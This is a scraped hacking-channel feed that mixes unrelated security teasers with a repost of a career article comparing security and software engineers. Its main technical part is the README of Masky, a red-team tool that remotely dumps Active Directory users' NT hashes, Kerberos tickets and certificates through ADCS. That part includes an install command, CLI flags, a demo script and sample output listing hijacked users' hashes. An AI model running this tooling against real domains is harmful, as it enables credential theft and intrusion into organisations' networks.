Hacking on Medium
OverTheWire: Bandit wargame (Writeup -Part II)

https://cdn-images-1.medium.com/max/858/1*044LunJrnun4zBEirbkjRQ.png
Check part 1 of this series to understand & solve the next level easily.

Continue reading on System Weakness »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Need For Ethical Hacking Training

Running a business or personal pursuit online these days isn’t without ingrained challenges. People have now started entering other sites…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hackers use these 4 techniques to crack passwords

One weak password is all hackers need to compromise applications or accounts and access confidential files and data. While cracking…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Masky - Python Library With CLI Allowing To Remotely Dump Domain User Credentials Via An ADCS Without Dumping The LSASS Process Memory

___________________________
@hacking_Attack
@Hacking_Video

My findings on Hack U.S Program

hello everyone myself charan (also know as falcon319) in bug bounty community and i am occasional bug bounty hunter and agriculture…Continue reading on Medium »
[Read more...](https://falcon319.medium.com/my-findings-on-hack-u-s-program-43b692a5c057?source=rss------bugbounty-5)

Masky - Python Library With CLI Allowing To Remotely Dump Domain User Credentials Via An ADCS Without Dumping The LSASS Process Memory
http://www.kitploit.com/2022/08/masky-python-library-with-cli-allowing.html

___________________________
@hacking_Attack
@Hacking_Video

Masky is a python library (https://www.kitploit.com/search/label/Python%20Library) providing an alternative way to remotely dump domain users' credentials thanks to an ADCS. A command line tool has been built on top of this library in order to easily gather PFX, NT hashes and TGT on a larger scope. This tool does not exploit any new vulnerability (https://www.kitploit.com/search/label/Vulnerability) and does not work by dumping the LSASS process memory. Indeed, it only takes advantage of legitimate Windows and Active Directory (https://www.kitploit.com/search/label/Active%20Directory) features (token impersonation, certificate authentication (https://www.kitploit.com/search/label/Authentication) via kerberos & NT hashes retrieval via PKINIT). A blog post (https://z4ksec.github.io/posts/masky-release-v0.0.3/) was published to detail the implemented technics and how Masky works. Masky source code is largely based on the amazing Certify (https://github.com/GhostPack/Certify) and Certipy (https://github.com/ly4k/Certipy) tools. I really thanks their authors for the researches regarding offensive exploitation technics against ADCS (see. Acknowledgments section (https://github.com/Z4kSec/Masky#acknowledgments)).
Installation Masky python3 library and its associated CLI can be simply installed via the public PyPi repository as following: pip install masky
The Masky agent executable is already included within the PyPi package. Moreover, if you need to modify the agent, the C# code can be recompiled via a Visual Studio project located in agent/Masky.sln. It would requires .NET Framework 4 to be built. Usage Masky has been designed as a Python library. Moreover, a command line interface was created on top of it to ease its usage during pentest or RedTeam activities. For both usages, you need first to retrieve the FQDN of a CA server and its CA name deployed via an ADCS. This information can be easily retrieved via the certipy find option or via the Microsoft built-in certutil.exe tool. Make sure that the default User template is enabled on the targeted CA. Warning: Masky deploys an executable on each target via a modification of the existing RasAuto service. Despite the automated roll-back of its intial ImagePath value, an unexpected error during Masky runtime could skip the cleanup phase. Therefore, do not forget to manually reset the original value in case of such unwanted stop. Command line The following demo shows a basic usage of Masky by targeting 4 remote systems. Its execution allows to collect NT hashes, CCACHE and PFX of 3 distincts domain users from the sec.lab testing domain.

___________________________
@hacking_Attack
@Hacking_Video

-k, --kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters.
-H HASHES, --hashes HASHES
Hashes to authenticate with (LM:NT, :NT or :LM)

Connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
Certificate Authority Name (SERVER\CA_NAME)

Results:
-nh, --no-hash Do not request NT hashes
-nt, --no-ccache Do not save ccache files
-np, --no-pfx Do not save pfx files
-o OUTPUT, --output OUTPUT
Local path to a folder where Masky results will be stored (automatically creates the folde r if it does not exit)
Python library Below is a simple script using the Masky library to collect secrets of running domain user sessions from a remote target. from masky import Masky
from getpass import getpass


def dump_nt_hashes():
# Define the authentication parameters
ca = "srv-01.sec.lab\sec-SRV-01-CA"
dc_ip = "192.168.23.148"
domain = "sec.lab"
user = "askywalker"
password = getpass()

# Create a Masky instance with these credentials
m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)

# Set a target and run Masky against it
target = "192.168.23.130"
rslts = m.run(target)

# Check if Masky succesfully hijacked at least a user session
# or if an unexpected error occured
if not rslts:
return False

# Loop on MaskyResult object to display hijacked users and to retreive their NT hashes
print(f"Results from hostname: {rslts.hostname}")
for user in rslts.users:
print(f"\t - {user.domain}\{user.n ame} - {user.nt_hash}")

return True


if __name__ == "__main__":
dump_nt_hashes() Its execution generate the following output. $> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
- sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
- sec\askywalker - 8928e0723012a8471c0084149c4e23b1
- sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a
A MaskyResults object containing a list of User objects is returned after a successful execution of Masky. Please look at the masky\lib\results.py module to check the methods and attributes provided by these two classes. Acknowledgments Olivier Lyak (https://twitter.com/ly4k_) for the Certipy (https://github.com/ly4k/Certipy) tool and the associated articles (https://medium.com/@oliverlyak) Will Schroeder (https://twitter.com/harmj0y) and Lee Christensen (https://twitter.com/tifkin_) for the Certify (https://github.com/GhostPack/Certify) tool and the Certified Pre-Owned (https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) article Dirk-jan (https://twitter.com/_dirkjan) for the PKINITtools (https://github.com/dirkjanm/PKINITtools) and its ADCS NTLM relay (https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/) article SecureAuthCorp (https://github.com/SecureAuthCorp) and the associated contributors for the Impacket (https://github.com/SecureAuthCorp/impacket) library Pixis (https://twitter.com/HackAndDo) for the tool Lsassy (https://github.com/Hackndo/Lsassy) Incognito tool and its Metasploit implementation (https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/incognito/) S3cur3Th1sSh1t (https://twitter.com/ShitSecure) for the tool SharpImpersonation (https://github.com/S3cur3Th1sSh1t/SharpImpersonation) and the associated article (https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/) McAfee for their article regarding the token (https://www.mcafee.com/enterprise/en-us/assets/reports/rp-access-token-theft-manipulation-attacks.pdf)impersonation (https://www.kitploit.com/search/label/Impersonation) techniques

___________________________
@hacking_Attack
@Hacking_Video

Download Masky (https://github.com/Z4kSec/Masky)

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Security Engineer vs. Software Engineer

Security Engineer vs. Software EngineerPost Views: 116 Patreon: Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/Patreon_EP.3.png Subscribe to Patreon to watch this episode.
Reading Time: 5 Minutes IntroductionWith the world of technology evolving so quickly, a lot of career paths are born with it.

Computer science professionals have a multitude of career options to choose from, from software design/development to information security, the career landscape is vast and varied. Two of the fastest expanding tech career paths are cybersecurity and software development, both offering excellent growth potential.

Broadly speaking, cybersecurity professionals are focused on securing the application/software/systems, either with defensive or offensive techniques and methodologies. Software engineers are about creating applications/software.

Since cybersecurity and software development have a lot of different career paths, we are going to focus on two career paths, Software Engineer and Security Engineer, which are the most prevalent ones.

There are a lot of differences between the two paths and we are going to explore their differences in this article.
Trending: Write up: Common and Uncommon types of SQL Injection Software EngineersYou may know them as programmers or developers, Software Engineers are computer science professionals who use engineering principles and programming languages to build, maintain, test, and evaluate the software for computers and applications. They use a variety of programming languages such as JavaScript, C ++, Java, Python, and many more to write their code in order to build their applications.

Some of them design the software to perform specific tasks or integrate features, while others ensure that the total functionality between the services works optimally.

Their domain of expertise is about the effectiveness of the software and how to maintain that. Software engineering job titles include: * Software Engineers
* Software Architects
* Data Scientists
* Game Developers
* Quality Assurance Testers
* DevOps Engineers
See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Security EngineersSecurity engineers develop, plan, and execute security measures designed to protect the web application or organization’s network and computers from malware or threat actors.

They also create new ways of improving the network security protocols or the security of the web application by applying offensive techniques to ensure the security of the web app/network.

They are divided into 2 teams, Red Team and Blue Team.

Blue teams consist of security professionals who have an inside-out view of the organization or web app. Their task is mainly to protect the organization/web app’s critical assets against any kind of threat.

Red teams are offensive security professionals who attack the systems in order to break the defenses.

Red Team consists of security professionals who act as thread actors to overcome the security protocols that the Blue team set up. These teams often consist of independent ethical hackers who evaluate the system’s security in an objective matter.

Red teams often simulate real attacks against the blue teams to test the effectiveness of the network/web app security that was set by the Blue Team.

Communication between the two teams is the most important factor in providing complete defensive coverage of the organization or web app. Security engineering job titles include: * Offensive Security Engineer – Pentester – Ethical Hacker
* Cyber Security Analyst
* Cyber Security Architect
* Cyber Security Consultant
* Cyber Security Engineer
*[...]

___________________________
@hacking_Attack
@Hacking_Video

Cyber Threat Analyst
Trending: Offensive Security Tool: WEF (WiFi Exploitation Framework) What software engineers and security engineers have different.Both software engineers and security engineers design and develop software, but security engineers focus on the security aspects of the application or the security of the network.

Their main difference though comes in the mindset of the two.

The mindset of the software engineer is to find various ways to make software work correctly and efficiently. Security engineers’ mindset is to find ways to secure the application (for Blue teamers) or to find ways to break/break in the application (for Red teamers).

Also, security engineers do not require to learn any programming, but if they do, it’s a major advantage to them.

Another difference is in their workflow.

A developer has a more structured workflow because it’s easier to know if the software works or not. A security engineer solves problems or builds solutions in a more obscure manner, in the sense that there is less of a definitive correct answer. An example could be to improve an input validation in the backend, which could be done in many ways, in terms of what libraries are used or even creating custom libraries for the input validation, or when you perform penetration testing/bug bounty, and the results often include a lot of false-positives which need manual testing to confirm, etc. Security not a priority for Software EngineersA recent study (Software Security during Modern Code Review: The Developer’s Perspective), published in August 2022, by Larissa Braz, and Alberto Bacchelli, found that while many of the participants in the study develop security-sensitive software systems, security is still not a priority during code review.

Alberto Bacchelli in his own words, “developers may disregard security aspects during reviews due to their assumptions about the security dynamic of the application they develop while recognizing the high importance of ensuring software security during code review”, “on the other hand, they struggle to do so due to lack of proper security training and knowledge.”

While code review, on its own, is not enough for detecting security vulnerabilities, software engineers need to be well-trained and be careful while spreading awareness around security assumptions, such as believing that security is a responsibility of another application or team.

In the end, a code review that combines automated tools and a well-trained security-wise software engineer can deliver a more secure web application.
Trending: How do QR Codes work and how criminal hackers use them to generate phishing attacks – Demo When software engineers and security engineers come togetherWhile they spent their time on types of work that may be different, they can both improve their quality of work by understanding each other’s type of work, as the type of work and the domain-specific knowledge can help towards their goal, to build an effective and secure system or software.

For a software engineer who understands the security measures needed to be in place by being aware of common security vulnerabilities, thus writing a more secure software code.

For a security engineer who is well aware of how a software engineer writes software code, it’s much easier for him to identify how it behaves and thus its vulnerabilities as well. Which one will be more in demand in the future?Both careers will be likely in demand for years to come. As more aspects of our lives become digital, Cyber Security and Web Development are going to be essential.

However, the Cyber Security industry offers better chances to get hired in the future as more security audits are becoming mandatory, and considerably fewer people choose the security engineer career path since web development is a more prevalent career path.

Information Security can hardly keep up with the number of vulnerabilities found daily, making information security engineers’ ro[...]

___________________________
@hacking_Attack
@Hacking_Video

le a vital one in today’s tech world.

On the other hand, software engineering will continue to be in high demand in the future as tech companies require them to maintain or update their software continuously, making them a crucial element in the industry. Why are both valuableBoth careers are very important and necessary for a successful product, security engineers tend to have a chaotic workflow whereas software developers have a more structured one, but in the end, they should both be integrated into a framework for the best outcome, even if it’s a software or a system’s network.

The framework should be built in a way that maintains an environment in which both can work, communicate, and learn from each other for your product to be the best it can be.
See Also: Stuxnet – A weapon made out of code that almost started WW3 References:

⦿ https://portswigger.net/daily-swig/developers-still-struggling-with-security-issues-during-code-reviews-study-finds

⦿ https://www.modis.com/en-us/resources/job-seekers/cyber-security-vs-software-engineer/

⦿ https://www.nerdwallet.com/blog/engineering/security-engineering-vs-software-development/

⦿ https://elevenfifty.org/blog/cybersecurity-vs-software-engineering/
We hope that this Article has taught you something new. If you enjoyed it, the best way that you can support us is to share it! If you’d like to hear more about us, you can find us on LinkedIn, Twitter, YouTube.
Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to Information Security in general) that match with our specific audience and is worth sharing?

If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent Articles* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/SQL-Injection-300x150.png Common and Uncommon types of SQL InjectionAugust 22, 2022
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/Google-Hacking-300x150.png Find Hidden Info using Google Dorking manually, and Automated using PagodoAugust 2, 2022
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/White-Box-vs-Black-Box-Pentesting-300x150.png The Difference between White-Box and Black-Box PentestingJuly 26, 2022
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Hacking-Linux-300x150.png How Misconfigurations in Linux can leave you vulnerable to AttackersJuly 12, 2022 https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!
The post Security Engineer vs. Software Engineer first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

My findings on Hack U.S Program
https://falcon319.medium.com/my-findings-on-hack-u-s-program-43b692a5c057?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

hello everyone myself charan (also know as falcon_319) in bug bounty community and i am occasional bug bounty hunter and agriculture…Continue reading on Medium » (https://falcon319.medium.com/my-findings-on-hack-u-s-program-43b692a5c057?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Explained: The General Bytes Bitcoin ATM Hack (August 2022)

https://external-preview.redd.it/4f1sL_dcIKJREyh362GkN9wyYyxRTVeungD095yBy5k.jpg?width=320&crop=smart&auto=webp&s=0987b2521615def9ecf2cdd3a340e364a0f34bdd submitted by /u/yintianshi
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video